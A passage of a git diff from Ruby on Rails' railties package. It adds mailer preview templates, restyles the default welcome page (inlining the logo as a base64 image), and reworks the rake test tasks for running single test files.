+ }
+
+ dl {
+ margin: 0 0 10px 0;
+ padding: 0;
+ }
+
+ dt {
+ width: 80px;
+ padding: 1px;
+ float: left;
+ clear: left;
+ text-align: right;
+ color: #7f7f7f;
+ }
+
+ dd {
+ margin-left: 90px; /* 80px + 10px */
+ padding: 1px;
+ }
+
+ iframe {
+ border: 0;
+ width: 100%;
+ }
+</style>
+</head>
+
+<body>
+<header>
+ <dl>
+ <% if @email.respond_to?(:smtp_envelope_from) && Array(@email.from) != Array(@email.smtp_envelope_from) %>
+ <dt>SMTP-From:</dt>
+ <dd><%= @email.smtp_envelope_from %></dd>
+ <% end %>
+
+ <% if @email.respond_to?(:smtp_envelope_to) && @email.to != @email.smtp_envelope_to %>
+ <dt>SMTP-To:</dt>
+ <dd><%= @email.smtp_envelope_to %></dd>
+ <% end %>
+
+ <dt>From:</dt>
+ <dd><%= @email.header['from'] %></dd>
+
+ <% if @email.reply_to %>
+ <dt>Reply-To:</dt>
+ <dd><%= @email.header['reply-to'] %></dd>
+ <% end %>
+
+ <dt>To:</dt>
+ <dd><%= @email.header['to'] %></dd>
+
+ <% if @email.cc %>
+ <dt>CC:</dt>
+ <dd><%= @email.header['cc'] %></dd>
+ <% end %>
+
+ <dt>Date:</dt>
+ <dd><%= Time.current.rfc2822 %></dd>
+
+ <dt>Subject:</dt>
+ <dd><strong><%= @email.subject %></strong></dd>
+
+ <% unless @email.attachments.nil? || @email.attachments.empty? %>
+ <dt>Attachments:</dt>
+ <dd>
+ <%= @email.attachments.map { |a| a.respond_to?(:original_filename) ? a.original_filename : a.filename }.inspect %>
+ </dd>
+ <% end %>
+
+ <% if @email.multipart? %>
+ <dd>
+ <select onchange="document.getElementsByName('messageBody')[0].src=this.options[this.selectedIndex].value;">
+ <option <%= request.format == Mime::HTML ? 'selected' : '' %> value="?part=text%2Fhtml">View as HTML email</option>
+ <option <%= request.format == Mime::TEXT ? 'selected' : '' %> value="?part=text%2Fplain">View as plain-text email</option>
+ </select>
+ </dd>
+ <% end %>
+ </dl>
+</header>
+
+<iframe seamless name="messageBody" src="?part=<%= Rack::Utils.escape(@part.mime_type) %>"></iframe>
+
+</body>
+</html>
diff --git a/railties/lib/rails/templates/rails/mailers/index.html.erb b/railties/lib/rails/templates/rails/mailers/index.html.erb
new file mode 100644
index 0000000000..c4c9757d57
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/index.html.erb
@@ -0,0 +1,8 @@
+<% @previews.each do |preview| %>
+<h3><%= link_to preview.preview_name.titleize, "/rails/mailers/#{preview.preview_name}" %></h3>
+<ul>
+<% preview.emails.each do |email| %>
+<li><%= link_to email, "/rails/mailers/#{preview.preview_name}/#{email}" %></li>
+<% end %>
+</ul>
+<% end %>
diff --git a/railties/lib/rails/templates/rails/mailers/mailer.html.erb b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
new file mode 100644
index 0000000000..607c8d1677
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
@@ -0,0 +1,6 @@
+<h3><%= @preview.preview_name.titleize %></h3>
+<ul>
+<% @preview.emails.each do |email| %>
+<li><%= link_to email, "/rails/mailers/#{@preview.preview_name}/#{email}" %></li>
+<% end %>
+</ul>
diff --git a/railties/lib/rails/templates/rails/welcome/index.html.erb b/railties/lib/rails/templates/rails/welcome/index.html.erb
index 6a1754d81e..6726c23fc9 100644
--- a/railties/lib/rails/templates/rails/welcome/index.html.erb
+++ b/railties/lib/rails/templates/rails/welcome/index.html.erb
@@ -19,13 +19,13 @@
}
a {color: #03c}
+
a:hover {
background-color: #03c;
color: white;
text-decoration: none;
}
-
#page {
background-color: #f0f0f0;
width: 750px;
@@ -57,21 +57,21 @@
padding-right: 30px;
}
-
#header {
- background-image: url("assets/rails.png");
+ background-image: url(data:image/png;base64,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);
background-repeat: no-repeat;
background-position: top left;
height: 64px;
}
+
#header h1, #header h2 {margin: 0}
+
#header h2 {
color: #888;
font-weight: normal;
font-size: 16px;
}
-
#about h3 {
margin: 0;
margin-bottom: 10px;
@@ -84,18 +84,26 @@
margin-left: -55px;
margin-right: -10px;
}
+
#about-content table {
margin-top: 10px;
margin-bottom: 10px;
font-size: 11px;
border-collapse: collapse;
}
+
#about-content td {
padding: 10px;
padding-top: 3px;
padding-bottom: 3px;
}
- #about-content td.name {color: #555}
+
+ #about-content td.name {
+ font-weight: bold;
+ vertical-align: top;
+ color: #555;
+ }
+
#about-content td.value {color: #000}
#about-content ul {
@@ -107,21 +115,23 @@
background-color: #fcc;
border: 1px solid #f00;
}
+
#about-content.failure p {
margin: 0;
padding: 10px;
}
-
#getting-started {
border-top: 1px solid #ccc;
margin-top: 25px;
padding-top: 15px;
}
+
#getting-started h1 {
margin: 0;
font-size: 20px;
}
+
#getting-started h2 {
margin: 0;
font-size: 14px;
@@ -129,40 +139,46 @@
color: #333;
margin-bottom: 25px;
}
+
#getting-started ol {
margin-left: 0;
padding-left: 0;
}
+
#getting-started li {
font-size: 18px;
color: #888;
margin-bottom: 25px;
}
+
#getting-started li h2 {
margin: 0;
font-weight: normal;
font-size: 18px;
color: #333;
}
+
#getting-started li p {
color: #555;
font-size: 13px;
}
-
#sidebar ul {
margin-left: 0;
padding-left: 0;
}
+
#sidebar ul h3 {
margin-top: 25px;
font-size: 16px;
padding-bottom: 10px;
border-bottom: 1px solid #ccc;
}
+
#sidebar li {
list-style-type: none;
}
+
#sidebar ul.links li {
margin-bottom: 5px;
}
@@ -173,15 +189,18 @@
</style>
<script>
function about() {
- info = document.getElementById('about-content');
- if (window.XMLHttpRequest)
- { xhr = new XMLHttpRequest(); }
- else
- { xhr = new ActiveXObject("Microsoft.XMLHTTP"); }
- xhr.open("GET","rails/info/properties",false);
- xhr.send("");
- info.innerHTML = xhr.responseText;
- info.style.display = 'block'
+ var info = document.getElementById('about-content'),
+ xhr;
+
+ if (info.innerHTML === '') {
+ xhr = new XMLHttpRequest();
+ xhr.open("GET", "/rails/info/properties", false);
+ xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+ xhr.send("");
+ info.innerHTML = xhr.responseText;
+ }
+
+ info.style.display = info.style.display === 'none' ? 'block' : 'none';
}
</script>
</head>
@@ -208,7 +227,7 @@
</div>
<div id="about">
- <h3><a href="rails/info/properties" onclick="about(); return false">About your application&rsquo;s environment</a></h3>
+ <h3><a href="/rails/info/properties" onclick="about(); return false">About your application&rsquo;s environment</a></h3>
<div id="about-content" style="display: none"></div>
</div>
@@ -218,17 +237,19 @@
<ol>
<li>
- <h2>Use <code>rails generate</code> to create your models and controllers</h2>
+ <h2>Use <code>bin/rails generate</code> to create your models and controllers</h2>
<p>To see all available options, run it without parameters.</p>
</li>
<li>
+ <h2>Set up a root route to replace this page</h2>
+ <p>You're seeing this page because you're running in development mode and you haven't set a root route yet.</p>
<p>Routes are set up in <span class="filename">config/routes.rb</span>.</p>
</li>
<li>
- <h2>Create your database</h2>
- <p>Run <code>rake db:create</code> to create your database. If you're not using SQLite (the default), edit <span class="filename">config/database.yml</span> with your username and password.</p>
+ <h2>Configure your database</h2>
+ <p>If you're not using SQLite (the default), edit <span class="filename">config/database.yml</span> with your username and password.</p>
</li>
</ol>
</div>
diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb
index aed7fd4b14..c837fadb40 100644
--- a/railties/lib/rails/test_help.rb
+++ b/railties/lib/rails/test_help.rb
@@ -2,26 +2,22 @@
# so fixtures aren't loaded into that environment
abort("Abort testing: Your Rails environment is running in production mode!") if Rails.env.production?
-require 'minitest/autorun'
+require 'active_support/testing/autorun'
require 'active_support/test_case'
+require 'action_controller'
require 'action_controller/test_case'
require 'action_dispatch/testing/integration'
+require 'rails/generators/test_case'
# Config Rails backtrace in tests.
require 'rails/backtrace_cleaner'
-MiniTest.backtrace_filter = Rails.backtrace_cleaner
-
-# Enable turn if it is available
-begin
- require 'turn'
-
- Turn.config do |c|
- c.natural = true
- end
-rescue LoadError
+if ENV["BACKTRACE"].nil?
+ Minitest.backtrace_filter = Rails.backtrace_cleaner
end
if defined?(ActiveRecord::Base)
+ ActiveRecord::Migration.maintain_test_schema!
+
class ActiveSupport::TestCase
include ActiveRecord::TestFixtures
self.fixture_path = "#{Rails.root}/test/fixtures/"
diff --git a/railties/lib/rails/test_unit/railtie.rb b/railties/lib/rails/test_unit/railtie.rb
index ed89ce4128..75180ff978 100644
--- a/railties/lib/rails/test_unit/railtie.rb
+++ b/railties/lib/rails/test_unit/railtie.rb
@@ -1,3 +1,7 @@
+if defined?(Rake.application) && Rake.application.top_level_tasks.grep(/^(default$|test(:|$))/).any?
+ ENV['RAILS_ENV'] ||= 'test'
+end
+
module Rails
class TestUnitRailtie < Rails::Railtie
config.app_generators do |c|
@@ -5,7 +9,6 @@ module Rails
fixture_replacement: nil
c.integration_tool :test_unit
- c.performance_tool :test_unit
end
rake_tasks do
diff --git a/railties/lib/rails/test_unit/sub_test_task.rb b/railties/lib/rails/test_unit/sub_test_task.rb
index 87b6f9b5a4..6fa96d2ced 100644
--- a/railties/lib/rails/test_unit/sub_test_task.rb
+++ b/railties/lib/rails/test_unit/sub_test_task.rb
@@ -1,6 +1,124 @@
+require 'rake/testtask'
+
module Rails
+ class TestTask < Rake::TestTask # :nodoc: all
+ # A utility class which is used primarily in "rails/test_unit/testing.rake"
+ # to help define rake tasks corresponding to <tt>rake test</tt>.
+ #
+ # This class takes a TestInfo class and defines the appropriate rake task
+ # based on the information, then invokes it.
+ class TestCreator # :nodoc:
+ def initialize(info)
+ @info = info
+ end
+
+ def invoke_rake_task
+ if @info.files.any?
+ create_and_run_single_test
+ reset_application_tasks
+ else
+ Rake::Task[ENV['TEST'] ? 'test:single' : 'test:run'].invoke
+ end
+ end
+
+ private
+
+ def create_and_run_single_test
+ Rails::TestTask.new('test:single') { |t|
+ t.test_files = @info.files
+ }
+ ENV['TESTOPTS'] ||= @info.opts
+ Rake::Task['test:single'].invoke
+ end
+
+ def reset_application_tasks
+ Rake.application.top_level_tasks.replace @info.tasks
+ end
+ end
+
+ # This is a utility class used by the <tt>TestTask::TestCreator</tt> class.
+ # This class takes a set of test tasks and checks to see if they correspond
+ # to test files (or can be transformed into test files). Calling <tt>files</tt>
+ # provides the set of test files and is used when initializing tests after
+ # a call to <tt>rake test</tt>.
+ class TestInfo # :nodoc:
+ def initialize(tasks)
+ @tasks = tasks
+ @files = nil
+ end
+
+ def files
+ @files ||= @tasks.map { |task|
+ [task, translate(task)].find { |file| test_file?(file) }
+ }.compact
+ end
+
+ def translate(file)
+ if file =~ /^app\/(.*)$/
+ "test/#{$1.sub(/\.rb$/, '')}_test.rb"
+ else
+ "test/#{file}_test.rb"
+ end
+ end
+
+ def tasks
+ @tasks - test_file_tasks - opt_names
+ end
+
+ def opts
+ opts = opt_names
+ if opts.any?
+ "-n #{opts.join ' '}"
+ end
+ end
+
+ private
+
+ def test_file_tasks
+ @tasks.find_all { |task|
+ [task, translate(task)].any? { |file| test_file?(file) }
+ }
+ end
+
+ def test_file?(file)
+ file =~ /^test/ && File.file?(file) && !File.directory?(file)
+ end
+
+ def opt_names
+ (@tasks - test_file_tasks).reject { |t| task_defined? t }
+ end
+
+ def task_defined?(task)
+ Rake::Task.task_defined? task
+ end
+ end
+
+ def self.test_creator(tasks)
+ info = TestInfo.new(tasks)
+ TestCreator.new(info)
+ end
+
+ def initialize(name = :test)
+ super
+ @libs << "test" # lib *and* test seem like a better default
+ end
+
+ def define
+ task @name do
+ if ENV['TESTOPTS']
+ ARGV.replace Shellwords.split ENV['TESTOPTS']
+ end
+ libs = @libs - $LOAD_PATH
+ $LOAD_PATH.unshift(*libs)
+ file_list.each { |fl|
+ FileList[fl].to_a.each { |f| require File.expand_path f }
+ }
+ end
+ end
+ end
+
# Silence the default description to cut down on `rake -T` noise.
- class SubTestTask < Rake::TestTask
+ class SubTestTask < Rake::TestTask # :nodoc:
def desc(string)
# Ignore the description.
end
diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake
index 9ad3a4e6d6..254ea9ecf6 100644
--- a/railties/lib/rails/test_unit/testing.rake
+++ b/railties/lib/rails/test_unit/testing.rake
@@ -1,160 +1,66 @@
-require 'rbconfig'
require 'rake/testtask'
require 'rails/test_unit/sub_test_task'
-TEST_CHANGES_SINCE = Time.now - 600
-
-# Look up tests for recently modified sources.
-def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago)
- FileList[source_pattern].map do |path|
- if File.mtime(path) > touched_since
- tests = []
- source_dir = File.dirname(path).split("/")
- source_file = File.basename(path, '.rb')
-
- # Support subdirs in app/models and app/controllers
- modified_test_path = source_dir.length > 2 ? "#{test_path}/" << source_dir[1..source_dir.length].join('/') : test_path
-
- # For modified files in app/ run the tests for it. ex. /test/controllers/account_controller.rb
- test = "#{modified_test_path}/#{source_file}_test.rb"
- tests.push test if File.exist?(test)
-
- # For modified files in app, run tests in subdirs too. ex. /test/controllers/account/*_test.rb
- test = "#{modified_test_path}/#{File.basename(path, '.rb').sub("_controller","")}"
- FileList["#{test}/*_test.rb"].each { |f| tests.push f } if File.exist?(test)
-
- return tests
-
- end
